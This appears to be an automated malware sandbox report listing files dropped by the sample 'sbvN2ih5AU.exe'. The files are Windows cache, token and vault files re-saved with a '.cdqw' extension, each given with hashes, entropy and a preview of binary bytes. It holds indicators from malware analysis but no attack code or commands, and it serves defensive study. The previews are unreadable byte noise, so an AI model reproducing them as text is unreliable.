Preview:	{"Rec.7S..p.v...t..C..l...v.&:...7...U......^U....2....(^.Z.. 2.a1.`F.....q.G..7.V...;.W.Q.L9P....,.A...X..n.I+.aiI.....Z..-<h.5.piz.......G..[...d.....)u.D..B....G.#..-^6..As.X..V..p.}..]....S.U.....xbq....,..r..a...Vi...}.^Ti...P......d....../..@0.Y..s.......9>..L..).......U..!=..<...l./.VgGm.....t.....J..o\|.p...Gz.d..S.S../?.A.KV..<.......S..)..;..kF...d....V...w..%.......Z.........p.X.D..'.r......X..........g-F.>.oA..].Eh~.s....%6..j..o\|.W.@w.....w....JY7.>..%.$...{6.\|..3.:D\...n.,h.E[...1.e.O..;u.pU.=..$N....../Q>.x.iT6W$M..g.qJM..V.....it.c\f7.=.\|.>.V5....s..u...-..r.v..m..gO.+.ow..\.VB..[g.<...G..N...q=.Rm...Y4..^.....W..,...I$...}...V<...r..\|.i..k=.W..{..^^..f...i.....fx.X..6..{..g....L._...I..u..=(....bu.g.......v..I..C?;..P.U.r.x....e..R..n.'e.FG.r}..0.j.O.\..@.C..3..^.f.M..9.^.5.yo.Q.,c8..}d...{m.:.........9dR,.....\A.3+..1.Gq..z...$..I-.....n..L-....8....P@.........!+..nrul....e.^"`{....9..2.;...[..........Y.YG.}.V....E..z

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.922349311949581
Encrypted:	false
SSDEEP:	48:Nc7cCJpsP7eMs10GLVJ7jg2LO2Wm0lBEJxiaPQSJft36BRtD:NczYm/7jDOhm0fEziaPQSTeV
MD5:	894C64CD564E69E8CC8F2A9FF3A2BD2E
SHA1:	4285453440D5DDF1A9ADDEBEAC849A23112C2DA7
SHA-256:	C9AE8B571236C6514D260CE9C83F473A9DD1F4CAADFBF53C5F1980781EFE140F
SHA-512:	1EE50B148B3F83E29E24DA4AA2831FDA574895F093CA21095A90A07AE42248E00AEE09093B9CD34C333719CE15FEDE6217BE9D040A126192EBFBF346597496F4
Malicious:	false
Preview:	{.".TV.O. .s....\1..f../F.Z.{^R.Z.P.i.71.^m`.@HH.M.e...H.}#......'...\k..PO.4...G..g......xq.R6F!..0.8.\|......B....~.FH......z..t?..p./....=.$.c.J.3%dD.5...Q~cl/...(....;..<.!\......@,.........:..h).".P...dh..P.....#Sk!j..pJ..Cw......r.........Dc...D.Nk..}.....E.....67.5E...Xi!.eS..G..m.B..S..Gw?+.rO.=...l..$...K..).K.=sF..s.....H4...F.9..$..S.-..zf.%.U..+....1..~........p..."Z...X..]..5.......}.X.C...x2.I.(...r..a..{.h.NG..f....=..YO.1.<...^.W&.=`.....1..yY.xD[.Z..!......A.....).~0..n_u......f.,.m(..q.......yP....A.........G4.Y.D..-.z.......}IK.h2...i.7..]T...;...[...O.Q.7.'.N4.K...\.B... .(P.2.TyA\%=.~.4.........?.dHsQV....u..4.......].0.LN....5=@.`.mETL].!#MUE.F...)z..N.f\...........I.E....u......jww.5..{.....O....b=..4..\|c...%.[V....T.........L..%)/..C......0...O..#..2. Z_.F...... .\..I....K.W...oX..u/ ...@..5c.v..Ff._.KH".^V.?...>.{..B.{..K.P..F.....x[..)l.....E.mL+...}MD..d.j.<...m.......!Ke.m...C.....V.#.....p...H......Z.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.932954650811671
Encrypted:	false
SSDEEP:	48:casn8J4dbaNi9pu6QUQqPMxSaVdN75E/cbcxmuyWCka906tclcwEagOxD:casn869oxS8dNNEUbGMF+Rrh
MD5:	A56ADE1D470E3E2BDB892BD716873576
SHA1:	6C92C65EDCA321217F99A028FFD2FE403A0E5F2C
SHA-256:	277C65AC4566409EA55D5EDEAEE83DAD92DEBA1565135845A40E5FDA80676C13
SHA-512:	181ED3C48C0EFD5B0632C3C34EFD2A48B9BDF24E40E62C07435153B261076FF2B8AA702D3D839DC29BBF78F25C54969923AA2254A5F26299DB41810BB9BF75FF
Malicious:	false
Preview:	{.".T.....=.4.}..n,.;>..Q..."..v....&T.3...w{.......V....P.>..5.YM.~g..Z...Cr....M..:X..U.+......\.[QW...^]..?.qBY..p.N.N._.d...T.j.+P......Ev.kq...QwJ.V..#..\.8W......s.....J.....}#......F..#...xA..s=....6....w......Rz..$......../.Y...Yd.....g].g....j.z3.rP=......;.....Z.....`.3.`0w.`.} ....FGdxQ.9z[...`..$..)..S%.v.[C.W...%TT..].2...i.G..e`.[.. ..D........o_.3...[..Y......6b....K6...6.u.....\|.:w.1..>.De..........p0.X.8.@......E=T..."@...q......c....u.........&28axU.....M9(..96.O6..z....%.W.ay..\../.j..........!.C.e..D..8...p....I.F...{........<.....)O.7WcA..`...3..nL..<&F...o&E...U..j.W....YB.... ...?...Za.\S..HR...).Z.."..B7.jyO..{..x....W..2w&....f....pu....lu..hR...Qx.....1~k&........s..\|C....(.L.W\|.F`f>..WX.........o.wg.....l.......".1.=........Xj.....K.........=#...S1...*...1F..=..}.%..P.;h..T..n^0g`e...8..Ti4.sEiD.._w.....[.....ah;v.ve....Z?.t-5..O.._....j...,zO.......c......rO....].h.........3V.......v...x.j.....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.965600367945957
Encrypted:	false
SSDEEP:	96:J6WE49ocMBvvTQE9DyXZhAnq1Qe8m6DkoDRl5Pgf2GVKXGcH2RwHD67EL:Z9oPxvkEkpd1Qe8VYo354evg6jE2
MD5:	13516D043DEE8E4C08BD5464F01EB8BC
SHA1:	5627D10CBBD5D829103D481FF0A53466D1DF3900
SHA-256:	1797886367EFE825002A320F4837926027EC8870C7903C00A8396EF1558CDF85
SHA-512:	2F758F3255B7E3C665A26BD828C55F9B009883673BD11363614651187D2D46895C7D55FA2CB4B7D451A9950E06001559A4866318E79D4606451FFBF16B6E3B82
Malicious:	false
Preview:	{.".T......./._,.UW.....).]J6`./.m..Y...w....G..i.2U.....&.......B.`...}...t.R.....c/..1..0}b.{./=(.2`Q........z...#....e.[.g..N.l......U.k...D..U..x......~..E...........5F..z0....A.!.z5.Q......-..R51^...GS.A3e.u.$1 ...r.7oK.....Z./4..G^......B.),......@8T.EA5...X.....U\.3 .d._6r...v.`a.....=.Sp@0Qe.....9b..bIt?......q.f..&d.a.....n$..A..bY.....,.?T....z....l.......~m.j..`........a../.?.i4.,G..i..cLe..../..[.\.....6....;.4.=...Fpt0.,!\..&...[>6 }HoU..b.....9....K......h.q...k....4."c.W.E?p.M..0.9``.$..w.V.v'w.._.'...Fp...-..%....G....s.D.\|.x5.0nY1g....d....s...Gu^K.D.....E.?.3..!.%&\|).........$....u>.51).M.1...PG0.^v'C~...uzU.d............9.h.U...xN..?..X......2....2.x.S..\|..=V....`+..k.G... ..{........f........un.N...~x~.av...U[..RK.N..).O..[\..r....z..v..3t`..q."....C..{.'....].f}..+...~$M..U"..)S.....L..c....E.g ........_j......].....i`\|..>Y.5....6...o.m.x...9(O.V...k....&%..NZ1......<.?UT8$8.9.1...-.q..K..P.}...h..../......

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.939265947016677
Encrypted:	false
SSDEEP:	48:UPR/kooPXuqqL9pgOnAVzyI65+5NcqHTzXaW+DHxfRJvfGG6YKoaF60Sguk7a3D:mR/oPVqZpHAVOI6A5hnqW+DHxpBfGG68
MD5:	8B552E889B79D3CF96955294159C6621
SHA1:	4B89188484EEDA282C2106165468BD1DE195E909
SHA-256:	BFB5A07459F9AF1BFD93621A4DD63A0A44DCA36CC7C3514EA0E29E50B1B8212F
SHA-512:	787AF193E1AD5F1E550D8B74F8A00AB1DEE896C9416573C688119DE0EEA913CEF1D9EF81207D34D78492B2B8C4F4E8C39B52C77355B0A3ED0C7D3E1DBEBA8561
Malicious:	false
Preview:	{.".T=l-..Omfs~.....X....[Q.uaR.._.A..u.k~+#.#.A......Iz.-....J....+.e..^..s....o...?04..6...iz.G(.Q..0.xM=...I ..<?...ez/.......x-.C..9..Lva.Um..9cY.ro...C..E.`.c9W.b.do...\|..b@..D......Pb'J......bj....Z....J%.8..'...3.....mJ.6....._}.k.>......g.8/G.n....\|&W".......g......+e...1[....C.\I...^....#..."J.....'.$y".T..A....]g.:.u.0.....<4..}:..l2.].pX.\|.....P..8.=...\.~D^1..~.T^(-....Y...6.g..?.H.%O"..........SK.6:'......)...~.\...}.,.....Ipg..Y......z?E?#mw...9..ga..sd..D.D.......-.0'.{...,.3.....I...a..P.1M.n.......yJ.+w...E..9(.ynC.E.......j.7i._q.......X$.-..>.Y..3p.[./1.F..s@..D..,.9F.". ..s..)..k...<j...&r..x.H..Q.2=\| P}..3.!..o..._..j?..R..J.O.E...<......_.8..JD..... ........8...........7.Gn..!:l.u....S..z..{...........NqQ..xe...].../.&...c..(.'...#...m'~v...0{`.tB0/...d*......9.3.'@.........W.v.du.<..63....2..Z.y1X.@a...>.]1.x)..V..V......U....{.....PS.e.v..g.&A....)$.?~...iX>n9...;.MEB.Gx.X}...\|..i..+.......3...#3.:r.&..-).&F../OE..bk.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9356319206052754
Encrypted:	false
SSDEEP:	48:e22wY38yzLzY1uWYt+UTlYEizkOUVeR/h0niMwXni/64JC9RwRH6ni8tD:eV3NHOpEiz6QJni/64L6nt
MD5:	29C987DD4768B010EEC4376482BB6CDA
SHA1:	C69F93376EF033484017B89CD9CD9F1469CACC5F
SHA-256:	113B7513506CF2A90946035C86D594249DD8427A109B7018772A652A3D8DD169
SHA-512:	3C65C5F2DC6A20221E6BFBF440FC9E254EEC337B880F80C8AC0727E369EC1235E290C8BE6464F3409B3B0B6F38D29117CB1D1A88F835F583ED2A0D6D5A10D3A6
Malicious:	false
Preview:	{.".T..Y..5._.5.eJ.......L.Nv&o.V.....+.=b.......\...CCD].I...k..4He^b.U_N..$=g.#..n.~..#X..S........`8&...G..(q:F....,`...T...~+"P.V.l.>mS0m.0.H,....^b.o.....7...5...A@.t5...Z"$(....K..d....}.....}..rZ#..R.dq..u.B..B.........uO..V....k.....7..S.).H.F.h.c..+R.#......}.Os......yD%..w..ce...G......R..@.L...?.....B.G...._(.....".'..d]...Y...+.dn..7..F....b.3.k+,-.s..T..<. .....x.\.'.L8n........SVx.x.C7...uX...z.y>....ftZ>..9.(N.S..?[.vJ.w....>oM..-.._\..M.~.Mz.U,.P.<.Q.....y%.e....O;..{.K...r<.o4...-.>A..=..{~...9..@.......\..KG..F.+...G.....h.W.........x..p.&.S.}.L...p,.j.V2.].4...{..:e.C....#..%.p..}>...:.,....V....%&..:.r.R-..:.h;Pl...3.(..uc~.s.aEg......V;...0.{X.8.......}..VW..1.dP....Q[....GkG+.... .{.[..\|K.=..c<....D.Nz...58.[X.!.(....>.%.......,..\A .....U?.L.....Oy.....h...uu....U..4.f.$..F....u.hi..3!}..(MP....T...#...."..R......xr.%..ng.u..2....s.o[.......QW....\|F...I.\E..N<>K..T.\|Vw...k...Z.-*....T.B.....WJ.Ji...@.<..:.Y..9.

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.698557555585217
Encrypted:	false
SSDEEP:	24:L7XNjsWLMjbthYkJpqL/ondXuCsAVmdp2bD:L7X9sWQLYvL/ondXuCrOCD
MD5:	86444658D307C4064B803EB955135FB1
SHA1:	7C8D30DDD782713FB0BBE3D491EB80BFE399E2EC
SHA-256:	B39B5F914339DFF31DEDF502F4C9A53CED9ABE4C03888E2F9DC7CF63DCC5C47D
SHA-512:	341106AAE68975B18A67AAC3655AE496A448D075E21079166F39EE310146B204A71E54172CBD4281DB015333D383AA3A506484D561857D2BC0BBA30898F6170F
Malicious:	false
Preview:	....B..FC.....=..-...Z).^.};......d%..c...../.@.0.A.W.."x:M....T......qj...V..cA.N..p..,..9/x.m^rs.v..eCV.v....).H.t.&.n1....X..x..z.x....7(...6l.........[-#.y..........q...vx4WXt.vC3..#.#...E3.....x.e..:.........vRi..L.\.2CJ-......u!.K..u..\|.:..M......U=.z.J...l.w..........^.q....m._...2.e.....G.H.J..&l..A.yA?X.../.......9.3.Q...B.q..`o....Q8...S#.....[~]......^g....pO.9..};+Mn......O.yc...A.. .T._.m.8.2.]..T.L..x.{.q}o..:X.[\...L.u..k@x@......=.o#.E#^w.....CX....>..u..DHu>/....>.1C{....p....P>}.......(...&P.3.3..#,.....8...A.<).-..y.U.# ......t...9qP.5.U.S.....t.....s.`..zc...{.....:$9..._...7.`.X.U8.....W<.w......jc!........<.R...@..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.330728141529623
Encrypted:	false
SSDEEP:	6144:cCwTQFdiZcCy77g40i1qOGCSfGUkfm+vyJfbnQkK96B88yKv4bWTmTvEiLSc:cCfKXW+OGCSOUkfm+6dF4/D
MD5:	42F16D9B387C073C041EAF0E212ED437
SHA1:	AEE16621CFFAC1C526408E4A358BC03E6B60A40F
SHA-256:	E8D75FCCF9C845E512FEE78A824D604FC3252343AD8B43D8EC0D6A04A8A4681A
SHA-512:	41AE32B3EAFC611647463D96995842206F39086B292F82106CD8C6396D8792D26DF6D6B7D26B43E376D71FE6E0AB91FF3DED03154DC32080ABBDBF6D282E6BAE
Malicious:	false
Preview:	...P..n.h&e..#(rm2......M5...#......{........V.`....$~..a6....r..^g..c!4d_.P......t.XJ...$/.{jJn..q-.....fq...3%._.R@.h...6..eK{L....{...."2..w ....sz4...<......\..B..c....-...%....2..:^....,0B&....H'R&.r..n....4...p.V.d`..v....6.X...I...6...g..f.Br......g....h..u..e..@.4..Nk..->g..T..snTZ..Z..\|.[9.k.`.P?.a!..r..7..eXt~._ B...wrw!...5...A.%....98.z.0...M....o.]...V..q..1.LS...C.y..z5.\..9T...P.;j..7.".....U...\|......G..........`fn.+.4s.P..:)..:.....D.R......(A...>...X..l1.2..zkJ....Q.......[.1.f..(OJ..r.tV.E.o.h.I.Ax...3.....v.....u......s^v.-..E........j.H]...~.t$.....]...4..a.V@Y.#..F..>......cD..W.W.y...<QqWJ.X.......}5....-.=.....:..].o...0..).F..m..?.L4=...k.K/...U.O7...=.....3S.5...@...E+.:....t....v......ct.....Vv....R..,.,.z.PgA......T.{+..v...\|...1........q...<..m..j...OO8..'Qc.E.....].L.....$.0.h.JNQh........%....%9..y.[8.zR.-^GL........$....2..w..@..P..<.e......o...>$Y)...Gh./.AV..l...amQ..].a....#.'.u.9.6:t.g....{/..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989863426054324
Encrypted:	false
SSDEEP:	384:Fyv78kbz2GqeCqB9xdMGqIwuJw+mN1x4YotKTav0l4HC:FyDrCy9xdMGFK+mzxPxO6aC
MD5:	0A31E8DEC8047CCADFBD35ACB94F97E9
SHA1:	0FF1639BAA992A9676A54CB6453E71945BFBECF6
SHA-256:	731975CCAAE9E75C53FC2D4827E9FF21BA2813B555F50F43E75531C4707BD3DD
SHA-512:	5D3A4FBC231D0C8D18D670855DE70C4D6AA42404E6CB431A4628BF19797252FCD939A4371981BBC70EC7A37F888D27706B1691B35390AF3198E4C300BABCF84F
Malicious:	false
Preview:	.... =P..#.@w]+.[w^xW...q=.X...RZ.q...4..1...k..Z.ot..6.....7X=74+?.m[./mQ.m.Q.o.4....?$.....\o.?.Kb.N..K.....Vnvl\|.t_.EXVf/2.n)F4.U.3...._.\...U.(...u......]..-..:....^.....)8,VP].kp.....`.X....!......\|..Ltk.-...V\|..7...y..I.6.R......g...-.H.C.Wg.....46F..9.> 1..E{.N......e).....Z&.........4.'3..........H.T3..h.q...Y.]D.....K4.a6.{....b..k.S3..l.WGa.h..y..^.r....V...$5....8.....6.8.p.Zo.....4o.......g..[..s.Z.H..?...]..U..fA.o....f....k..bO......,....9,f.Vwi.........g..{Am.%...KM.6.n...j..MN....U'..].5."K./2..?.a.. .......Fc.5...$O.XM.x.A...i...\|..Qk..u2h..}<..^..E=..QH.4.]6RA..4PK/)...s.cz.>..:.y...EM...R..J{.3P..........Ey.......3....mc..)..<3j<.R3...u.9.Z.L....VZ=.P.k.le.udd7.......FW"MC....5._...e..D.33....3.0...I....,l.I..i...:^..KC....@8..8....5.3..b5.i.n..4.bv....6.....d_rVI.U..;/........c.......N...z....V.r.rji.7T.9..$/.Tm$y.n..U8.....A^..C..T.XkZ..i./...H..<.V/R.4NN.i.B.-M.A...>......k.......Vl.`^.8.K!...s=.."....f.}....P,5.(..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987107478999932
Encrypted:	false
SSDEEP:	384:nss+BaST8y04RXE5JNWU9TaKgafRzpxutizeun95YUnKk:s7BaST8RxdWO2ezEtJun95YUnr
MD5:	4F1FC4278D6F911FD53095F1C0074317
SHA1:	6F994681EBD119A5DF63E62514A709B96BBE953F
SHA-256:	0516B3C6244E29652F849D5631FFEC5D07E1E6FB95D550AAE7A04A611A7C8E49
SHA-512:	25CFDDFCE7D0C59D380C31A9D3FF783947CFFC24AF6E4F70AEEA56471CA955C0B7878C3FF324752236461E8E950DE48F1951182B3420E73308EE78CE4BCCAA14
Malicious:	false
Preview:	....`.o....i..KS..f..KVS..".[.V.;..T.@..qr.8..s{.j..A..`.X(_.J ..D-......{.D<..)cOtu.T..\.pb..(y..~2.ewl....EJ......].+)...T....6...O...g{.V`..h."...sR....+...G...........M....A....g.4NV.L.....z....U.;.?F.DNg.F.+.&..J..]n!.s.{....m..#.G...(..u.....m..p....lN.q..^.{.\|..E.__.L....N.)...58n..~:a......S.....0..(..a.........ze...4..b.W....h.7.0.T..0.G.nIK.>$...o1.....bG.l...?.....GK.\...2...j^=rL..oj.....d" W..U.....)YW...v>h.6..(..25I4.Qf....^z.-]....yO.\|N..4..f..! .wo,..(I.]....&...X.Y,'..r[...<44-M.j..q.F)..F.cx.l>-.7.bx\|^...)..,r....`T.. h4A4,a.@..&.h..F....Q..0..!...u.C.xvwo.[....F.;8.......+`".O.Z.....h;..v.LB.2C(/...N."E..A.[=.;..-.^..X.G..;...T`..q...lD.):................6.H&;......O...P.M.enz.Y.....$W..J\@e].;.V....H. :g./)...@[..Ac.p:.\|ZF5.?...e.#..p.M%2.4...x.%.3.1.{..E.,.;Yk.g..c.....1Z..q..Y.p.&@....V..@....E.m......3.9yN...h...J....:....C.Z.m,`...g.C...2..h6...u...........^....1\|.n1..\|......-.RY\......"p...n..8.y.d.9&x.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.33095665313605
Encrypted:	false
SSDEEP:	6144:9SY3YSiGkrhOkN82D/6++D2fFshpm+vyJfbnQkK96B88yKv4bWTmTvEiLSa:9SY3YrGkdzz+oym+6dF4/l
MD5:	1023CBA9E8AC20E1F7F82F47395BC43A
SHA1:	53F1FA85A46F4F90477732B9A50771C9B4DF1F59
SHA-256:	F38933977FD86357B69AED394A121A6AD3347A04350D6BD0EABE478E64A7AB0A
SHA-512:	15AC09A42A8D761333AE533F55E1FBAE73367F22BC7957E78CFA11F02FDCC5C9C6138741BBD6DB26D838B1D042C8ECA721F837FB77ABAF33BF3E61D68CB38A8E
Malicious:	false
Preview:	.w.. 6&..@..,.&.]\.XJ.40.6....HsMb...$....>.f...m....DBid..M....X..<...P..0..KWt.)..T...!Qm..ST .Y. a...Z..6...loK.cD.:.[f&...q_.P..}#.6c...+.j............=.......z.k.3.KC...i.._..._....?F.0.E...^.k.r...h.....v.Q...mw. Z^.q+..D%....no............o!..*a..b...].5.W..k.:a.......z..bm{.N.(....p/S(=<.8T........=e..m...k..M.n..j[<.......T5[....G!......m.9.....Z....v......$.j..\..w.R\|....2..O..q1........{....Y.6..a..vC".AE.V.w..{..B..a..v...S .^..q....6...BE..%..c.......h..'...Lu...C..d?.<Y...9.5../......6.............8.........O......'......\|...,..5A>:l.pM... .nLu\1.>.6.}..<...z[G....`.!.5g.i....&F.g.o.Y..L...&....v..0J...j\zt....$.k..,...........:.]_.4.p;,v.'.....S..+..~....z......f_..w=..z^.....A.%g..b.!h......S~.....,.7.......l.9...C......G..o=.D...g...d..Q.Z...P.>o...hUcm.d...Z\|'^.~....b.-0."......&!.P.!.8.l6..aY.eG.V.....>IY..p..P$..q.W.......(i.G...3.'..._....=#.].jM5...3;..y21....p........O.\|..4V.O....+....#.;`...U...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.9982097371799314
Encrypted:	true
SSDEEP:	1536:7Gvr/Cf0dX/c3tZemaHolrcuC+LUwvKvL+lOlphnKYtfW0WXR:Gqcgt7aI2uC+LUwsL+ebKlT
MD5:	AF2F394D064CB457C8B2CE21DB30B17B
SHA1:	E10FAC857259EB0CE30A890FD005F966AB9E8583
SHA-256:	3F5BBB5BBC646F63D36E6779CB2B7C9844B334A5752E9077839274C848D42E5D
SHA-512:	3E699147D942359C090874564125C202B0004DD01A5C67F0B425B660FFBFB45C2D597F4C26E4D8C36FB504571E01DFA3C61BBD5BD42D95532E58BB2C55A7A201
Malicious:	true
Preview:	....h.F.....LBQ.uMsz...\........#..@..z9.\|H!..D7....AC.tM50..J.Y.w.l..iR.....rN.?n..C..b\...`(j.<...(....G.....8/.I....C.[0.N@)m.t.a.Fz....+..d.4.w.dx.}1....%.>l...u=..I(..~?qE.\^..S...$T.. P..J.H...v..K..:.\UL,q.E...6.....e....gCQ..).8..h..H5.hU....=......1.n.D......Mn...<v.t8^...&...~Y.6_.{...=...]../..Z,...6.2)?......CLlgG.. .VNE.7G`.8D..\.....U.....I,#.....#...v...(~.`x}.N...v...D.s?.....<T..>..Dj...M.A;...`.c......0....Qw.7W.3..~#...n.ov-..$3...L....JI..P..P(.S......R.p...X%......T...q..q....>.[....H..w..mT..s..+.[..:..r.,.<...5.O<..9..`.-..{.}...0..="NP.!....C%....7.]aBMW1.%../:.q.oJ...fs.P."..R........&...z.\e..J..RB.1...G\|..q..0.Rtjw..&r..n{.=.p.@....k.9........E].XC........{Z....z.".[....X>:P..N.a.......m....M..\....r/2h...o=.j#?..F.s..`.l..g.-..1.xL...q.[.B5.}...5..b@.....Q....G....^..T..\..M;M?T9w...vb .Iii+W].\|.t.35.......\...?......m..8T\.+......./$...I.F....1A....K.k]od...Ws..x`.Jj..yLM........}-...}.#....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.997947758486809
Encrypted:	true
SSDEEP:	3072:lyq1FZ7q4dJvd9//nE5VitqTUgduCqL5mVHMsuP:l3hFdxd5MHOq3oXUVHMs2
MD5:	181FEA451150BA8A03326A024BFB31AA
SHA1:	5D0915EAE172A3F857922BBB451292EB6B5D46B1
SHA-256:	7D0AABD5BB86DAC32FF41FAE59B139208A86D41AD175F3ECC0D6175A6537B508
SHA-512:	44809DCD44EB80BF255FBE352B67A29CC19CA553F8C8031F82EB94FCB125FEBC4B5F490602D8CB0A8DB4F11A1B2629CD2DD5F20183FDF83A37D5836924A121B9
Malicious:	true
Preview:	....h~~..+...mp...f.:/ .ja.3...$.!..+z....Y.F... .y.F...Z.k#..Q%.z.CR....T7...o.7.M..+...>+.].....F..5....^q..3...B.2......a/.P0.Rn.4......mbn..o....Q...U..2.`.9.(....7.z.4.\|..G.N).....\.....K.u%.v.uQ...N...X,.s.k..%.V.\|.9.!\.N....k...?Mp....B..P.......Q.f..p..B..H..b.._.................>..Y....'Ke..R.w".......U.....yb.9......`..".x.................].. ...Gt......G..?b.kv....Z.@..f$\..<....5U.{k.{{...x..\|...@...4.B.w3...J.j.Z......i...$$o..ov..RR..n..B...........x.qR$r...v...l+..#..N.N.cF.\.......M.Cq..S.vR....p..LC..).<.....}....f.....i.N.H....R..].1D...*.H.K...t .p.'[r...+...x..M\.k.-.y.r.6...Q!y.Y..M....jRw.jb.....G.G..)........0.=K}h....z...S+....wH../.....4a........g.....y]..:l4t{...g.Q..T........Klq6..5...q..g.........^.f..WlN.bX.Q.1..l%._.9..7...Tw..2..4..G.9...G^.J....M...".....=..E..L..t.n...FQ.]5.....7.]..!...Q.%{.Y...Fk...J......(..e..d..?.d...R...qS.b...[.."..F.9.5t..C.LI...3....f..?...h<..N.7..m.....B....h.A....r.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.997173889254379
Encrypted:	true
SSDEEP:	1536:AWfyDAccruNZ19N00ac3xI44GVYVoAN+igOm:AXNcrIT0vcW44GcdB+
MD5:	7846165F7B29F93458631B5DCD6B086B
SHA1:	239950EAD128EF7A5A5EDE2D6D5A493E43ACE507
SHA-256:	9D005E2824FC9034C510B9661CC49C216516C806ACB607D2F4408F3E99FDFDDB
SHA-512:	5637E75790B47C6E66182E9CCB4F204F44FD0205E7BC9FB89C7C1ACD2D5188024CFB60C95F72866599D9AA35C3BB984CBFA5F24D7FCB1EB87AE804F1EFB5AF3A
Malicious:	true
Preview:	.......IM.#...)O.c......zo..-v.r..bcu..LafT.L[.auD.,.L(.;T.0F0..9..{.7{2....}>.J3uN}..H........R..m.........=....8c\&j..-.M.M.4.`..F.J...... .(;..w...z....S<.sB.-....y...y..H%.a!.w..UZ.....g.ii..3.M..E%..\|.VC.....U.Z.Xk26q.\|G.6..>...E..g.Y6.9.4...?Ak...ro...\.>....%.{......8Tp[0B.al.\|....3...n..{F..D\.7o.Ur.........X..~.(%...-.S.......)...{P5..k.....c`.....%.N..t.T}..,.e.Jsc......bT.}z.%..S.f....`.j.8.4IW.....'a..U.Mjo...:iJh.NqP......B^.1+O...Y ....P..8..].h\zh-.k.8... t..^.;.2z4.....5......n.M}..+X.X..Y....(.7.`>$a...A.".u.Q.....yQU...~.u~..g;\|.........z....`....3..U....P!.-2..q.H]R9...y.....&..n..K.H..J.C......kQ.Q...G...._..B.O..+...V>!.(....[..G.0k.?kvI`.ly#ip.d.:.....}I.w.....8k".%<...vM .u.C&/...<V....1.4B.b.o.2.W.t\|B...I.D.. B-.G..D..q..m.HT.U..N......D.p....iId.5v.....p...xcl@=}..#@!O.s\|!...B1Z>..].t.dW+..h....=.iVu .j.....M...h.>7..4.._\|...!.zbQ.\|V..e......x\:.NC.F.a/s\...@(..}..@..]\|...O..Zf_.O..A...DbG._...d3>\|.$\|.?....o/c&...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997654163076525
Encrypted:	true
SSDEEP:	1536:zzDK0OD/CjDambzhRQmJ/xxxLvh4wtEMH8444p/dsJu/El:nO0ODKjDlnH47MH8ipVqAEl
MD5:	5BF0A89DDCFBB4940FF1355C03027297
SHA1:	573609AE2452F95500E529642BD81D47BFEB0FE3
SHA-256:	20EFF593F7DCD31FA01BBB121E77951A8F8AAD10F959039B2731896554D2C0EF
SHA-512:	82FF2673F1DF8F1AF81A07E2F44D3AA72FD9770CE2D497580E06D87F59B211A04A7CC4F9470E131A7A9A8671F39625C0EE457D24C28B7C872904350DBE836B53
